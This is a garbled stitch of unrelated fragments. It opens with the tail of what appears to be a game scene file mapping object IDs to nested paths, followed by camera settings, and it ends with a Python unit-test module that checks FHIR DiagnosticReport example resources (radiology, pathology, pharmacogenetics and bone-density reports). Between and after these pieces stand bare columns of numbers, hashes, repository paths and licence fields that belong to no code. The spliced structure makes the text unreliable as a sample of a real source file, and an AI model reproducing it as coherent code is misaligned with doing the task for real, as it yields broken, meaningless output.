'["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]["Objects"]["1264434289.56Bill"]', '1264434289.58Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]["Objects"]["1264434289.58Bill"]', '1264434289.61Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]["Objects"]["1264434289.61Bill"]', '1264434289.63Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]["Objects"]["1264434289.63Bill"]', '1265059806.03Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.03Bill"]', '1265059806.05Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.05Bill"]', '1265059806.06Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.06Bill"]', '1265059806.08Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.08Bill"]', '1265059806.11Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.11Bill"]', '1265059806.13Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.13Bill"]', '1265059806.14Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.14Bill"]', '1265059806.16Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.16Bill"]', '1265059806.19Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.19Bill"]', '1265059806.23Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.23Bill"]', '1265059806.25Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.25Bill"]', '1265059806.28Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.28Bill"]', '1265059806.2Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.2Bill"]', '1265059806.31Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.31Bill"]', '1265059806.33Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.33Bill"]', '1265059806.36Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.36Bill"]', '1265059806.38Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.38Bill"]', '1265059806.39Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.39Bill"]', '1265059806.3Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.3Bill"]', '1265059806.41Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.41Bill"]', '1265059806.44Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.44Bill"]', '1265059806.47Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.47Bill"]', '1265059806.48Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.48Bill"]', '1265059806.52Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.52Bill"]', '1265059806.53Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.53Bill"]', '1265059806.56Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.56Bill"]', '1265059806.58Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.58Bill"]', '1265059806.59Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.59Bill"]', '1265059806.61Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.61Bill"]', '1265059806.64Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.64Bill"]', '1265059806.66Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.66Bill"]', '1265059806.69Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.69Bill"]', '1265059806.81Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.81Bill"]', '1265059806.83Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.83Bill"]', '1265059806.86Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.86Bill"]', '1265059806.89Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.89Bill"]', '1265059806.8Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.8Bill"]', '1265059806.91Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.91Bill"]', '1265059806.92Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.92Bill"]', '1265059806.94Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.94Bill"]', '1265059806.97Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.97Bill"]', '1265059806.98Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059806.98Bill"]', '1265059807.03Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059807.03Bill"]', '1265059807.05Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059807.05Bill"]', '1265059807.08Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059807.08Bill"]', '1265059807.0Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1265059807.0Bill"]', '1267124099.15laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124099.15laura"]', '1267124099.15laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124099.15laura"]', '1267124126.34laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124126.34laura"]', '1267124126.34laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124126.34laura"]', '1267124158.77laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124158.77laura"]', '1267124194.37laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124194.37laura"]', '1267124194.37laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124194.37laura"]', '1267124369.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124369.96laura"]', '1267124369.96laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124369.96laura"]', '1267124370.01laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267124369.96laura"]["Objects"]["1267124370.01laura"]', '1267125774.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125774.24laura"]', '1267125774.24laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125774.24laura"]', '1267125774.29laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125774.24laura"]["Objects"]["1267125774.29laura"]', '1267125774.32laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125774.24laura"]["Objects"]["1267125774.32laura"]', '1267125783.85laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125783.85laura"]', '1267125783.85laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125783.85laura"]', '1267125795.21laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125795.21laura"]', '1267125795.21laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125795.21laura"]', '1267125795.26laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125795.21laura"]["Objects"]["1267125795.26laura"]', '1267125812.01laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125812.01laura"]', '1267125812.01laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125812.01laura"]', '1267125812.02laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125812.01laura"]["Objects"]["1267125812.02laura"]', '1267125823.01laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125823.01laura"]', '1267125823.01laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125823.01laura"]', '1267125823.04laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125823.01laura"]["Objects"]["1267125823.04laura"]', '1267125834.51laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125834.51laura"]', '1267125834.51laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125834.51laura"]', '1267125834.66laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125834.51laura"]["Objects"]["1267125834.66laura"]', '1267125842.22laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125842.22laura"]', '1267125842.22laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125842.22laura"]', '1267125842.26laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125842.22laura"]["Objects"]["1267125842.26laura"]', '1267125856.43laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125856.43laura"]', '1267125907.74laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125907.74laura"]', '1267125907.74laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125907.74laura"]', '1267125907.76laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125907.74laura"]["Objects"]["1267125907.76laura"]', '1267125907.79laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125907.74laura"]["Objects"]["1267125907.79laura"]', '1267125928.15laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125928.15laura"]', '1267125928.15laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125928.15laura"]', '1267125944.22laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125944.22laura"]', '1267125944.22laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125944.22laura"]', '1267125944.26laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125944.22laura"]["Objects"]["1267125944.26laura"]', '1267125944.29laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125944.22laura"]["Objects"]["1267125944.29laura"]', '1267125956.93laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125956.93laura"]', '1267125956.93laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125956.93laura"]', '1267125956.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125956.93laura"]["Objects"]["1267125956.96laura"]', '1267125964.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125964.96laura"]', '1267125964.96laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125964.96laura"]', '1267125964.97laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125964.96laura"]["Objects"]["1267125964.97laura"]', '1267125973.91laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]', '1267125973.91laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]', '1267125973.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]["Objects"]["1267125973.96laura"]', '1267125973.97laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125973.91laura"]["Objects"]["1267125973.97laura"]', '1267125983.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]', '1267125983.24laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]', '1267125983.29laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.29laura"]', '1267125983.32laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.32laura"]', '1267125983.34laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125983.24laura"]["Objects"]["1267125983.34laura"]', '1267125991.69laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]', '1267125991.69laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]', '1267125991.72laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267125991.69laura"]["Objects"]["1267125991.72laura"]', '1267126000.65laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]', '1267126000.65laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]', '1267126000.69laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126000.65laura"]["Objects"]["1267126000.69laura"]', '1267126011.12laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]', '1267126011.12laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]', '1267126011.15laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126011.12laura"]["Objects"]["1267126011.15laura"]', '1267126018.27laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126018.27laura"]', '1267126018.27laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267126018.27laura"]', '1267129208.35laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]', '1267129208.35laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]', '1267129208.38laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129208.35laura"]["Objects"]["1267129208.38laura"]', '1267129290.13laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]', '1267129290.13laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]', '1267129290.16laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129290.13laura"]["Objects"]["1267129290.16laura"]', '1267129410.41laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129410.41laura"]', '1267129551.96laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129551.96laura"]', '1267129573.43laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129573.43laura"]', '1267129645.8laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129645.8laura"]', '1267129724.47laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129724.47laura"]', '1267129754.82laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129754.82laura"]', '1267129847.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129847.24laura"]', '1267129971.24laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267129971.24laura"]', '1267130013.74laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130013.74laura"]', '1267130071.76laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]', '1267130071.76laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]', '1267130071.77laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130071.76laura"]["Objects"]["1267130071.77laura"]', '1267130117.49laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130117.49laura"]', '1267130149.41laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]', '1267130149.41laura0': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]', '1267130149.44laura': '["Objects"]["1259029424.87akelts"]["Objects"]["1267130149.41laura"]["Objects"]["1267130149.44laura"]'}} extraInfo = {'camPos': Point3(770.931, -725.643, 205.174), 'camHpr': VBase3(-21.4432, -12.9302, 0), 'focalLength': 1.39999997616, 'skyState': 2, 'fog': 0}
7,741.857143
53,745
0.650988
7,388
54,193
4.728614
0.110585
0.034636
0.033577
0.030915
0.720824
0.615429
0.559095
0.489166
0.45287
0.415171
0
0.270304
0.073903
54,193
7
53,746
7,741.857143
0.425779
0.004152
0
0
0
0
0.597732
0.275258
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
6
33b92ba09451704638724fc115d33272ddced04e
23
py
Python
factory/settings/__init__.py
jakeemerson/jakes-factory-inventory
1a8699063203f011171a1c77fbf2bab75ec6fbbd
[ "MIT" ]
1
2016-05-01T21:21:58.000Z
2016-05-01T21:21:58.000Z
factory/settings/__init__.py
jakeemerson/jakes-factory-inventory
1a8699063203f011171a1c77fbf2bab75ec6fbbd
[ "MIT" ]
null
null
null
factory/settings/__init__.py
jakeemerson/jakes-factory-inventory
1a8699063203f011171a1c77fbf2bab75ec6fbbd
[ "MIT" ]
null
null
null
from defaults import *
11.5
22
0.782609
3
23
6
1
0
0
0
0
0
0
0
0
0
0
0
0.173913
23
1
23
23
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
33d219370190e146635c0b6c42b80c550f63e861
16,841
py
Python
fhir/resources/tests/test_diagnosticreport.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/tests/test_diagnosticreport.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/tests/test_diagnosticreport.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Profile: http://hl7.org/fhir/StructureDefinition/DiagnosticReport Release: R4 Version: 4.0.1 Build ID: 9346c8cc45 Last updated: 2019-11-01T09:29:23.356+11:00 """ import io import json import os import unittest import pytest from .. import diagnosticreport from ..fhirdate import FHIRDate from .fixtures import force_bytes @pytest.mark.usefixtures("base_settings") class DiagnosticReportTests(unittest.TestCase): def instantiate_from(self, filename): datadir = os.environ.get("FHIR_UNITTEST_DATADIR") or "" with io.open(os.path.join(datadir, filename), "r", encoding="utf-8") as handle: js = json.load(handle) self.assertEqual("DiagnosticReport", js["resourceType"]) return diagnosticreport.DiagnosticReport(js) def testDiagnosticReport1(self): inst = self.instantiate_from("diagnosticreport-example-ultrasound.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport1(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport1(inst2) def implDiagnosticReport1(self, inst): self.assertEqual( force_bytes(inst.category[0].coding[0].code), force_bytes("394914008") ) self.assertEqual( force_bytes(inst.category[0].coding[0].display), force_bytes("Radiology") ) self.assertEqual( force_bytes(inst.category[0].coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual( force_bytes(inst.category[0].coding[1].code), force_bytes("RAD") ) self.assertEqual( force_bytes(inst.category[0].coding[1].system), force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"), ) self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("45036003")) self.assertEqual( force_bytes(inst.code.coding[0].display), force_bytes("Ultrasonography of abdomen"), ) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual( force_bytes(inst.code.text), force_bytes("Abdominal Ultrasound") ) self.assertEqual( force_bytes(inst.conclusion), force_bytes("Unremarkable study") ) self.assertEqual( inst.effectiveDateTime.date, FHIRDate("2012-12-01T12:00:00+01:00").date ) self.assertEqual(inst.effectiveDateTime.as_json(), "2012-12-01T12:00:00+01:00") self.assertEqual(force_bytes(inst.id), force_bytes("ultrasound")) self.assertEqual(inst.issued.date, FHIRDate("2012-12-01T12:00:00+01:00").date) self.assertEqual(inst.issued.as_json(), "2012-12-01T12:00:00+01:00") self.assertEqual( force_bytes(inst.media[0].comment), force_bytes("A comment about the image") ) self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testDiagnosticReport2(self): inst = self.instantiate_from("diagnosticreport-example-f201-brainct.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport2(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport2(inst2) def implDiagnosticReport2(self, inst): self.assertEqual( force_bytes(inst.category[0].coding[0].code), force_bytes("394914008") ) self.assertEqual( force_bytes(inst.category[0].coding[0].display), force_bytes("Radiology") ) self.assertEqual( force_bytes(inst.category[0].coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual( force_bytes(inst.category[0].coding[1].code), force_bytes("RAD") ) self.assertEqual( force_bytes(inst.category[0].coding[1].system), force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"), ) self.assertEqual( force_bytes(inst.code.coding[0].code), force_bytes("429858000") ) self.assertEqual( force_bytes(inst.code.coding[0].display), force_bytes("Computed tomography (CT) of head and neck"), ) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual(force_bytes(inst.code.text), force_bytes("CT of head-neck")) self.assertEqual( force_bytes(inst.conclusion), force_bytes("CT brains: large tumor sphenoid/clivus."), ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].code), force_bytes("188340000") ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].display), force_bytes("Malignant tumor of craniopharyngeal duct"), ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual( inst.effectiveDateTime.date, FHIRDate("2012-12-01T12:00:00+01:00").date ) self.assertEqual(inst.effectiveDateTime.as_json(), "2012-12-01T12:00:00+01:00") self.assertEqual(force_bytes(inst.id), force_bytes("f201")) self.assertEqual(inst.issued.date, FHIRDate("2012-12-01T12:00:00+01:00").date) self.assertEqual(inst.issued.as_json(), "2012-12-01T12:00:00+01:00") self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testDiagnosticReport3(self): inst = self.instantiate_from("diagnosticreport-example-papsmear.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport3(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport3(inst2) def implDiagnosticReport3(self, inst): self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("47527-7")) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("http://loinc.org") ) self.assertEqual( inst.effectiveDateTime.date, FHIRDate("2013-02-11T10:33:33+11:00").date ) self.assertEqual(inst.effectiveDateTime.as_json(), "2013-02-11T10:33:33+11:00") self.assertEqual(force_bytes(inst.id), force_bytes("pap")) self.assertEqual(inst.issued.date, FHIRDate("2013-02-13T11:45:33+11:00").date) self.assertEqual(inst.issued.as_json(), "2013-02-13T11:45:33+11:00") self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("additional")) def testDiagnosticReport4(self): inst = self.instantiate_from("diagnosticreport-example-gingival-mass.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport4(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport4(inst2) def implDiagnosticReport4(self, inst): self.assertEqual( force_bytes(inst.category[0].coding[0].code), force_bytes("PAT") ) self.assertEqual( force_bytes(inst.category[0].coding[0].display), force_bytes("Pathology (gross & histopath, not surgical)"), ) self.assertEqual( force_bytes(inst.category[0].coding[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"), ) self.assertEqual(force_bytes(inst.category[0].text), force_bytes("Pathology")) self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("4503")) self.assertEqual( force_bytes(inst.code.coding[0].display), force_bytes( "Biopsy without Microscopic Description (1 Site/Lesion)-Standard" ), ) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("https://www.acmeonline.com"), ) self.assertEqual( force_bytes(inst.code.text), force_bytes( "Biopsy without Microscopic Description (1 Site/Lesion)-Standard" ), ) self.assertEqual(inst.effectiveDateTime.date, FHIRDate("2017-03-02").date) self.assertEqual(inst.effectiveDateTime.as_json(), "2017-03-02") self.assertEqual(force_bytes(inst.id), force_bytes("gingival-mass")) self.assertEqual( force_bytes(inst.identifier[0].system), force_bytes("https://www.acmeonline.com"), ) self.assertEqual( force_bytes(inst.identifier[0].value), force_bytes("P73456090") ) self.assertEqual(inst.issued.date, FHIRDate("2017-03-15T08:13:08Z").date) self.assertEqual(inst.issued.as_json(), "2017-03-15T08:13:08Z") self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual( force_bytes(inst.presentedForm[0].contentType), force_bytes("application/pdf"), ) self.assertEqual(force_bytes(inst.presentedForm[0].language), force_bytes("en")) self.assertEqual( force_bytes(inst.presentedForm[0].title), force_bytes( "LAB ID: P73456090 MAX JONES Biopsy without Microscopic Description (1 Site/Lesion)-Standard" ), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testDiagnosticReport5(self): inst = self.instantiate_from("diagnosticreport-example-pgx.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport5(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport5(inst2) def implDiagnosticReport5(self, inst): self.assertEqual( force_bytes(inst.code.coding[0].code), force_bytes("PGxReport") ) self.assertEqual( force_bytes(inst.code.coding[0].display), force_bytes("Pharmacogenetics Report"), ) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("https://system/PGxReport"), ) self.assertEqual( force_bytes(inst.code.text), force_bytes("Pharmacogenetics Report") ) self.assertEqual( inst.effectiveDateTime.date, FHIRDate("2016-10-15T12:34:56+11:00").date ) self.assertEqual(inst.effectiveDateTime.as_json(), "2016-10-15T12:34:56+11:00") self.assertEqual(force_bytes(inst.id), force_bytes("example-pgx")) self.assertEqual(inst.issued.date, FHIRDate("2016-10-20T14:00:05+11:00").date) self.assertEqual(inst.issued.as_json(), "2016-10-20T14:00:05+11:00") self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual( force_bytes(inst.presentedForm[0].contentType), force_bytes("application/pdf"), ) self.assertEqual( inst.presentedForm[0].creation.date, FHIRDate("2016-10-20T20:00:00+11:00").date, ) self.assertEqual( inst.presentedForm[0].creation.as_json(), "2016-10-20T20:00:00+11:00" ) self.assertEqual( force_bytes(inst.presentedForm[0].data), force_bytes("cGRmSW5CYXNlNjRCaW5hcnk="), ) self.assertEqual( force_bytes(inst.presentedForm[0].hash), force_bytes("571ef9c5655840f324e679072ed62b1b95eef8a0"), ) self.assertEqual(force_bytes(inst.presentedForm[0].language), force_bytes("en")) self.assertEqual( force_bytes(inst.presentedForm[0].title), force_bytes("Pharmacogenetics Report"), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testDiagnosticReport6(self): inst = self.instantiate_from("diagnosticreport-example-dxa.json") self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance") self.implDiagnosticReport6(inst) js = inst.as_json() self.assertEqual("DiagnosticReport", js["resourceType"]) inst2 = diagnosticreport.DiagnosticReport(js) self.implDiagnosticReport6(inst2) def implDiagnosticReport6(self, inst): self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("38269-7")) self.assertEqual( force_bytes(inst.code.coding[0].system), force_bytes("http://loinc.org") ) self.assertEqual( force_bytes(inst.code.text), force_bytes("DXA BONE DENSITOMETRY") ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].code), force_bytes("391040000") ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].display), force_bytes("At risk of osteoporotic fracture"), ) self.assertEqual( force_bytes(inst.conclusionCode[0].coding[0].system), force_bytes("http://snomed.info/sct"), ) self.assertEqual(inst.effectiveDateTime.date, FHIRDate("2008-06-17").date) self.assertEqual(inst.effectiveDateTime.as_json(), "2008-06-17") self.assertEqual(force_bytes(inst.id), force_bytes("102")) self.assertEqual(inst.issued.date, FHIRDate("2008-06-18T09:23:00+10:00").date) self.assertEqual(inst.issued.as_json(), "2008-06-18T09:23:00+10:00") self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST")) self.assertEqual( force_bytes(inst.meta.tag[0].display), force_bytes("test health data") ) self.assertEqual( force_bytes(inst.meta.tag[0].system), force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"), ) self.assertEqual(force_bytes(inst.status), force_bytes("final")) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
43.629534
109
0.639095
1,885
16,841
5.598408
0.124138
0.171515
0.170568
0.21321
0.835213
0.827916
0.793518
0.719795
0.698853
0.669573
0
0.056255
0.226293
16,841
385
110
43.742857
0.753645
0.010688
0
0.525424
0
0
0.186393
0.052663
0
0
0
0
0.364407
1
0.036723
false
0
0.022599
0
0.064972
0
0
0
0
null
0
0
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
